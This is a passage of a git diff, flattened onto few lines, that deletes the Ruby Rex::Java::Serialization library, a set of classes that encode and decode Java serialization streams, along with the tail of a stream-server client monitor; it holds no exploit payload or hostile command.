::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED - on_client_close(cfd) - close_client(cfd) - rescue ::Interrupt - raise $! - rescue ::Exception - close_client(cfd) - elog("Error in stream server client monitor: #{$!}") - rlog(ExceptionCallStack) - - end - } - - rescue ::Rex::StreamClosedError => e - # Remove the closed stream from the list - clients.delete(e.stream) - rescue ::Interrupt - raise $! - rescue ::Exception - elog("Error in stream server client monitor: #{$!}") - rlog(ExceptionCallStack) - end while true - end - -end - -end -end - diff --git a/lib/rex/java.rb b/lib/rex/java.rb deleted file mode 100644 index b2b631924c..0000000000 --- a/lib/rex/java.rb +++ /dev/null @@ -1,3 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' \ No newline at end of file diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb deleted file mode 100644 index c556ab7540..0000000000 --- a/lib/rex/java/serialization.rb +++ /dev/null @@ -1,57 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - # Include constants defining terminal and constant - # values expected in a stream. - module Serialization - STREAM_MAGIC = 0xaced - STREAM_VERSION = 5 - TC_NULL = 0x70 - TC_REFERENCE = 0x71 - TC_CLASSDESC = 0x72 - TC_OBJECT = 0x73 - TC_STRING = 0x74 - TC_ARRAY = 0x75 - TC_CLASS = 0x76 - TC_BLOCKDATA = 0x77 - TC_ENDBLOCKDATA = 0x78 - TC_RESET = 0x79 - TC_BLOCKDATALONG = 0x7A - TC_EXCEPTION = 0x7B - TC_LONGSTRING = 0x7C - TC_PROXYCLASSDESC = 0x7D - TC_ENUM = 0x7E - BASE_WIRE_HANDLE = 0x7E0000 - - SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE - SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE - SC_SERIALIZABLE = 0x02 - SC_EXTERNALIZABLE = 0x04 - SC_ENUM = 0x10 - - PRIMITIVE_TYPE_CODES = { - 'B' => 'byte', - 'C' => 'char', - 'D' => 'double', - 'F' => 'float', - 'I' => 'int', - 'J' => 'long', - 'S' => 'short', - 'Z' => 'boolean' - } - - OBJECT_TYPE_CODES = { - '[' => 'array', - 'L' => 'object' - } - - TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES) - end - end -end - -require 'rex/java/serialization/decode_error' -require 'rex/java/serialization/encode_error' -require 'rex/java/serialization/model' -require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb deleted file mode 100644 index c9e69c26a5..0000000000 --- a/lib/rex/java/serialization/builder.rb +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - # This class provides a builder to help in the construction of - # Java serialized contents. - class Builder - - # Creates a Rex::Java::Serialization::Model::NewArray - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description - # @option opts [String] :values_type - # @option opts [Array] :values - # @return [Rex::Java::Serialization::Model::NewArray] - # @see #new_class - def new_array(opts = {}) - class_desc = opts[:description] || new_class(opts) - type = opts[:values_type] || '' - values = opts[:values] || [] - - array = Rex::Java::Serialization::Model::NewArray.new - array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - array.array_description.description = class_desc - array.type = type - array.values = values - - array - end - - # Creates a Rex::Java::Serialization::Model::NewObject - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description - # @option opts [Array] :data - # @return [Rex::Java::Serialization::Model::NewObject] - # @see #new_class - def new_object(opts = {}) - class_desc = opts[:description] || new_class(opts) - data = opts[:data] || [] - - object = Rex::Java::Serialization::Model::NewObject.new - object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - object.class_desc.description = class_desc - object.class_data = data - - object - end - - # Creates a Rex::Java::Serialization::Model::NewClassDesc - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :name - # @option opts [Fixnum] :serial - # @option opts [Fixnum] :flags - # @option opts [Array] :fields - # @option opts [Array] :annotations - # @option opts [Rex::Java::Serialization::Model::Element] :super_class - # @return [Rex::Java::Serialization::Model::NewClassDesc] - def new_class(opts = {}) - class_name = opts[:name] || '' - serial_version = opts[:serial] || 0 - flags = opts[:flags] || 2 - fields = opts[:fields] || [] - annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new] - super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new - - class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) - class_desc.serial_version = serial_version - class_desc.flags = flags - class_desc.fields = [] - - fields.each do |f| - field = Rex::Java::Serialization::Model::Field.new - field.type = f[0] - field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) - field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] - class_desc.fields << field - end - - class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - class_desc.class_annotation.contents = annotations - class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - class_desc.super_class.description = super_class - - class_desc - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/decode_error.rb b/lib/rex/java/serialization/decode_error.rb deleted file mode 100644 index e45964abfb..0000000000 --- a/lib/rex/java/serialization/decode_error.rb +++ /dev/null @@ -1,11 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - class DecodeError < ::RuntimeError - - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/encode_error.rb b/lib/rex/java/serialization/encode_error.rb deleted file mode 100644 index 483ad3401e..0000000000 --- a/lib/rex/java/serialization/encode_error.rb +++ /dev/null @@ -1,11 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - class EncodeError < ::RuntimeError - - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb deleted file mode 100644 index 1f2d6cf0de..0000000000 --- a/lib/rex/java/serialization/model.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - - autoload :Annotation, 'rex/java/serialization/model/annotation' - autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long' - autoload :BlockData, 'rex/java/serialization/model/block_data' - autoload :ClassDesc, 'rex/java/serialization/model/class_desc' - autoload :Contents, 'rex/java/serialization/model/contents' - autoload :Element, 'rex/java/serialization/model/element' - autoload :EndBlockData, 'rex/java/serialization/model/end_block_data' - autoload :Field, 'rex/java/serialization/model/field' - autoload :LongUtf, 'rex/java/serialization/model/long_utf' - autoload :NewArray, 'rex/java/serialization/model/new_array' - autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc' - autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' - autoload :NewEnum, 'rex/java/serialization/model/new_enum' - autoload :NewObject, 'rex/java/serialization/model/new_object' - autoload :NewClass, 'rex/java/serialization/model/new_class' - autoload :NullReference, 'rex/java/serialization/model/null_reference' - autoload :Reference, 'rex/java/serialization/model/reference' - autoload :Reset, 'rex/java/serialization/model/reset' - autoload :Stream, 'rex/java/serialization/model/stream' - autoload :Utf, 'rex/java/serialization/model/utf' - - end - end - end -end - diff --git a/lib/rex/java/serialization/model/annotation.rb b/lib/rex/java/serialization/model/annotation.rb deleted file mode 100644 index 95b3bd9fa7..0000000000 --- a/lib/rex/java/serialization/model/annotation.rb +++ /dev/null @@ -1,69 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides an annotation representation. It's used for both class - # annotations (classAnnotation) and object annotations (objectAnnotation). - class Annotation < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute contents - # @return [Array] The annotation contents - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.contents = [] - end - - # Deserializes a Rex::Java::Serialization::Model::Annotation - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - loop do - content = decode_content(io, stream) - self.contents << content - return self if content.kind_of?(EndBlockData) - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Annotation - # - # @return [String] if serialization suceeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty? - - encoded = '' - - contents.each do |content| - encoded << encode_content(content) - end - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = '[ ' - contents_data = contents.collect {|content| "#{print_content(content)}"} - str << contents_data.join(', ') - str << ' ]' - str - end - - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/block_data.rb b/lib/rex/java/serialization/model/block_data.rb deleted file mode 100644 index c92edaed13..0000000000 --- a/lib/rex/java/serialization/model/block_data.rb +++ /dev/null @@ -1,70 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a block data representation - class BlockData < Element - - # @!attribute length - # @return [Integer] the length of the block - attr_accessor :length - # @!attribute contents - # @return [String] the contents of the block - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - # @param contents [String] the contents of the block - def initialize(stream = nil, contents = '') - super(stream) - self.contents = contents - self.length = contents.length - end - - # Deserializes a Rex::Java::Serialization::Model::BlockData - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil? - self.length = raw_length.unpack('C')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' - end - end - - self - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - contents_hex = [] - contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" } - - "[ #{contents_hex.join(', ')} ]" - end - - # Serializes the Rex::Java::Serialization::Model::BlockData - # - # @return [String] - def encode - encoded = [length].pack('C') - encoded << contents - - encoded - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/block_data_long.rb b/lib/rex/java/serialization/model/block_data_long.rb deleted file mode 100644 index 55002ebad2..0000000000 --- a/lib/rex/java/serialization/model/block_data_long.rb +++ /dev/null @@ -1,72 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a block data (long) representation - class BlockDataLong < Element - - # @!attribute length - # @return [Integer] the length of the block - attr_accessor :length - # @!attribute contents - # @return [String] the contents of the block - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - # @param contents [String] the contents of the block - def initialize(stream = nil, contents = '') - super(stream) - self.contents = contents - self.length = contents.length - end - - # Deserializes a Rex::Java::Serialization::Model::BlockDataLong - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(4) - if raw_length.nil? || raw_length.length != 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong' - end - self.length = raw_length.unpack('N')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' - end - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::BlockDataLong - # - # @return [String] - def encode - encoded = [length].pack('N') - encoded << contents - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - contents_hex = [] - contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" } - - "[ #{contents_hex.join(', ')} ]" - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/class_desc.rb b/lib/rex/java/serialization/model/class_desc.rb deleted file mode 100644 index 927e2ef47e..0000000000 --- a/lib/rex/java/serialization/model/class_desc.rb +++ /dev/null @@ -1,64 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Java classDesc representation - class ClassDesc < Element - - include Rex::Java::Serialization::Model::Contents - - attr_accessor :description - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.description = nil - end - - # Deserializes a Rex::Java::Serialization::Model::ClassDesc - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - content = decode_content(io, stream) - allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] - - unless allowed_contents.include?(content.class) - raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed' - end - - self.description = content - self - end - - # Serializes the Rex::Java::Serialization::Model::ClassDesc - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - encoded = '' - allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] - - unless allowed_contents.include?(description.class) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc' - end - - encoded << encode_content(description) - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - print_content(description) - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb deleted file mode 100644 index 1de2368e3f..0000000000 --- a/lib/rex/java/serialization/model/contents.rb +++ /dev/null @@ -1,163 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - module Contents - include Rex::Java::Serialization - - # Deserializes a content - # - # @param io [IO] the io to read from - # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content - def decode_content(io, stream) - opcode = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil? - opcode = opcode.unpack('C')[0] - content = nil - - case opcode - when TC_BLOCKDATA - content = BlockData.decode(io, stream) - when TC_BLOCKDATALONG - content = BlockDataLong.decode(io, stream) - when TC_ENDBLOCKDATA - content = EndBlockData.decode(io, stream) - when TC_OBJECT - content = NewObject.decode(io, stream) - when TC_CLASS - content = NewClass.decode(io, stream) - when TC_ARRAY - content = NewArray.decode(io, stream) - when TC_STRING - content = Utf.decode(io, stream) - stream.add_reference(content) unless stream.nil? - when TC_LONGSTRING - content = LongUtf.decode(io, stream) - stream.add_reference(content) unless stream.nil? - when TC_ENUM - content = NewEnum.decode(io, stream) - when TC_CLASSDESC - content = NewClassDesc.decode(io, stream) - when TC_PROXYCLASSDESC - content = ProxyClassDesc.decode(io, stream) - when TC_REFERENCE - content = Reference.decode(io, stream) - when TC_NULL - content = NullReference.decode(io, stream) - when TC_EXCEPTION - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content' - when TC_RESET - content = Reset.decode(io, stream) - else - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' - end - - content - end - - # Serializes a content - # - # @param content [Rex::Java::Serialization::Model::Element] the content to serialize - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode_content(content) - encoded = '' - - case content - when BlockData - encoded << [TC_BLOCKDATA].pack('C') - when BlockDataLong - encoded << [TC_BLOCKDATALONG].pack('C') - when EndBlockData - encoded << [TC_ENDBLOCKDATA].pack('C') - when NewObject - encoded << [TC_OBJECT].pack('C') - when NewClass - encoded << [TC_CLASS].pack('C') - when NewArray - encoded << [TC_ARRAY].pack('C') - when Utf - encoded << [TC_STRING].pack('C') - when LongUtf - encoded << [TC_LONGSTRING].pack('C') - when NewEnum - encoded << [TC_ENUM].pack('C') - when NewClassDesc - encoded << [TC_CLASSDESC].pack('C') - when ProxyClassDesc - encoded << [TC_PROXYCLASSDESC].pack('C') - when NullReference - encoded << [TC_NULL].pack('C') - when Reset - encoded << [TC_RESET].pack('C') - when Reference - encoded << [TC_REFERENCE].pack('C') - else - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' - end - - encoded << content.encode - encoded - end - - # Creates a print-friendly string representation - # - # @param content [Rex::Java::Serialization::Model::Element] the content to print - # @return [String] - # @raise [Rex::Java::Serialization::EncodeError] if the content is unknown - def print_content(content) - str = '' - - case content - when BlockData - str << "#{print_class(content)} { #{content.to_s} }" - when BlockDataLong - str << "#{print_class(content)} { #{content.to_s} }" - when EndBlockData - str << "#{print_class(content)}" - when NewObject - str << "#{print_class(content)} { #{content.to_s} }" - when ClassDesc - str << "#{print_class(content)} { #{content.to_s} }" - when NewClass - str << "#{print_class(content)} { #{content.to_s} }" - when NewArray - str << "#{print_class(content)} { #{content.to_s} }" - when Utf - str << "#{print_class(content)} { #{content.to_s} }" - when LongUtf - str << "#{print_class(content)} { #{content.to_s} } " - when NewEnum - str << "#{print_class(content)} { #{content.to_s} }" - when NewClassDesc - str << "#{print_class(content)} { #{content.to_s} }" - when ProxyClassDesc - str << "#{print_class(content)} { #{content.to_s} }" - when NullReference - str << "#{print_class(content)}" - when Reset - str << "#{print_class(content)}" - when Reference - str << "#{print_class(content)} { #{content.to_s} }" - else - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' - end - - str - end - - # Creates a print-friendly string representation of the content class - # - # @param content [Rex::Java::Serialization::Model::Element] the content - # @return [String] - def print_class(content) - content.class.name.split('::').last - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/element.rb b/lib/rex/java/serialization/model/element.rb deleted file mode 100644 index 2a17db87fb..0000000000 --- a/lib/rex/java/serialization/model/element.rb +++ /dev/null @@ -1,44 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class Element - - attr_accessor :stream - - # Deserializes a Rex::Java::Serialization::Model::Element - # - # @param io [IO] the io to read from - # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds - # @return [nil] if deserialization doesn't succeed - def self.decode(io, stream = nil) - elem = self.new(stream) - elem.decode(io) - end - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - self.stream = stream - end - - def decode(io) - self - end - - def encode - '' - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - self.class.name.split('::').last - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/end_block_data.rb b/lib/rex/java/serialization/model/end_block_data.rb deleted file mode 100644 index 6fe0c98634..0000000000 --- a/lib/rex/java/serialization/model/end_block_data.rb +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class EndBlockData < Element - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb deleted file mode 100644 index b560e3606a..0000000000 --- a/lib/rex/java/serialization/model/field.rb +++ /dev/null @@ -1,173 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a field description representation (fieldDesc). It's used for - # both primitive descriptions (primitiveDesc) and object descriptions (objectDesc). - class Field < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute type - # @return [String] The type of the field. - attr_accessor :type - # @!attribute name - # @return [Rex::Java::Serialization::Model::Utf] The name of the field. - attr_accessor :name - # @!attribute field_type - # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. - attr_accessor :field_type - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.type = '' - self.name = nil - self.field_type = nil - end - - # Deserializes a Rex::Java::Serialization::Model::Field - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - code = io.read(1) - - unless code && is_valid?(code) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field' - end - - self.type = TYPE_CODES[code] - self.name = Utf.decode(io, stream) - - if is_object? - self.field_type = decode_field_type(io) - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Field - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless name.kind_of?(Rex::Java::Serialization::Model::Utf) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' - end - - unless is_type_valid? - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' - end - - encoded = '' - encoded << TYPE_CODES.key(type) - encoded << name.encode - - if is_object? - encoded << encode_field_type - end - - encoded - end - - # Whether the field type is valid. - # - # @return [Boolean] - def is_type_valid? - if TYPE_CODES.values.include?(type) - return true - end - - false - end - - # Whether the field type is a primitive one. - # - # @return [Boolean] - def is_primitive? - if PRIMITIVE_TYPE_CODES.values.include?(type) - return true - end - - false - end - - # Whether the field type is an object one. - # - # @return [Boolean] - def is_object? - if OBJECT_TYPE_CODES.values.include?(type) - return true - end - - false - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "#{name} " - if is_primitive? - str << "(#{type})" - else - str << "(#{field_type})" - end - - str - end - - private - - # Whether the type opcode is a valid one. - # - # @param code [String] A type opcode - # @return [Boolean] - def is_valid?(code) - if TYPE_CODES.keys.include?(code) - return true - end - - false - end - - # Serializes the `field_type` attribute. - # - # @return [String] - # @raise [Rex::Java::Serialization::EncodeError] if serialization fails - def encode_field_type - allowed_contents = [Utf, Reference] - - unless allowed_contents.include?(field_type.class) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' - end - - encoded = encode_content(field_type) - - encoded - end - - # Deserializes the `field_type` value. - # - # @param io [IO] the io to read from - # @return [Java::Serialization::Model::Utf] - # @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed - def decode_field_type(io) - allowed_contents = [Utf, Reference] - type = decode_content(io, stream) - - unless allowed_contents.include?(type.class) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type' - end - - type - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/long_utf.rb b/lib/rex/java/serialization/model/long_utf.rb deleted file mode 100644 index df567bb6f0..0000000000 --- a/lib/rex/java/serialization/model/long_utf.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Long Utf string representation - class LongUtf < Utf - - # Deserializes a Rex::Java::Serialization::Model::LongUtf - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(8) - if raw_length.nil? || raw_length.length != 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' - end - self.length = raw_length.unpack('Q>')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' - end - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::LongUtf - # - # @return [String] - def encode - encoded = [length].pack('Q>') - encoded << contents - - encoded - end - - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb deleted file mode 100644 index 86ff3b0acb..0000000000 --- a/lib/rex/java/serialization/model/new_array.rb +++ /dev/null @@ -1,229 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewArray (Java Array) representation - class NewArray < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute array_description - # @return [Java::Serialization::Model::ClassDesc] The description of the array - attr_accessor :array_description - # @!attribute type - # @return [String] The type of the array values - attr_accessor :type - # @!attribute values - # @return [Array] The contents of the java array - attr_accessor :values - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.array_description = nil - self.type = '' - self.values = [] - end - - # Deserializes a Rex::Java::Serialization::Model::NewArray - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.array_description = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - self.type = array_type - - values_length = decode_values_length(io) - - values_length.times do - value = decode_value(io) - self.values << value - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewArray - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless array_description.kind_of?(ClassDesc) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray' - end - - encoded = '' - encoded << array_description.encode - - encoded << [values.length].pack('N') - - values.each do |value| - encoded << encode_value(value) - end - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "#{type}, " - values_data = values.collect {|v| "#{v}"} - str << "#{values_data}" - end - - private - - # Deserializes the NewArray length - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_values_length(io) - values_length = io.read(4) - if values_length.nil? || values_length.length != 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray' - end - - values_length.unpack('N')[0] - end - - # Extracts the NewArray data type - # - # @return [String] - # @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid - # or type isn't supported - def array_type - if array_description.nil? - raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description' - end - - unless array_description.kind_of?(ClassDesc) - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class' - end - - desc = array_description.description - - if desc.class == Reference - ref = desc.handle - BASE_WIRE_HANDLE - desc = stream.references[ref] - end - - unless desc.class_name.contents[0] == '[' # Array - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description' - end - - decoded_type = desc.class_name.contents[1] - if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type) - return PRIMITIVE_TYPE_CODES[decoded_type] - elsif decoded_type == 'L' # L : Object - return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class - else - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type' - end - end - - # Deserializes a NewArray value - # - # @param io [IO] the io to read from - # @return [Fixnum, Float] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails - def decode_value(io) - value = nil - - case type - when 'byte' - value = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? - value = value.unpack('c')[0] - when 'char' - value = io.read(2) - unless value && value.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('s>')[0] - when 'double' - value = io.read(8) - unless value && value.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('G')[0] - when 'float' - value = io.read(4) - unless value && value.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('g')[0] - when 'int' - value = io.read(4) - unless value && value.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('l>')[0] - when 'long' - value = io.read(8) - unless value && value.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('q>')[0] - when 'short' - value = io.read(2) - unless value && value.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('s>')[0] - when 'boolean' - value = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? - value = value.unpack('c')[0] - else # object - value = decode_content(io, stream) - end - - value - end - - # Serializes an NewArray value - # - # @param value [] the value to serialize - # @return [String] the serialized value - # @raise [Rex::Java::Serialization::EncodeError] if serialization fails - def encode_value(value) - res = '' - - case type - when 'byte' - res = [value].pack('c') - when 'char' - res = [value].pack('s>') - when 'double' - res = [value].pack('G') - when 'float' - res = [value].pack('g') - when 'int' - res = [value].pack('l>') - when 'long' - res = [value].pack('q>') - when 'short' - res = [value].pack('s>') - when 'boolean' - res = [value].pack('c') - when Element - res = value.encode - else # object - res = encode_content(value) - end - - res - end - - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_class.rb b/lib/rex/java/serialization/model/new_class.rb deleted file mode 100644 index c3984cae56..0000000000 --- a/lib/rex/java/serialization/model/new_class.rb +++ /dev/null @@ -1,57 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewArray (Java Array) representation - class NewClass < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute array_description - # @return [Java::Serialization::Model::ClassDesc] The description of the class - attr_accessor :class_description - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.class_description = nil - end - - # Deserializes a Rex::Java::Serialization::Model::NewClass - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.class_description = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewClass - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_description.kind_of?(ClassDesc) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass' - end - - encoded = '' - encoded << class_description.encode - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - print_content(class_description) - end - end - end - end - end -end diff --git 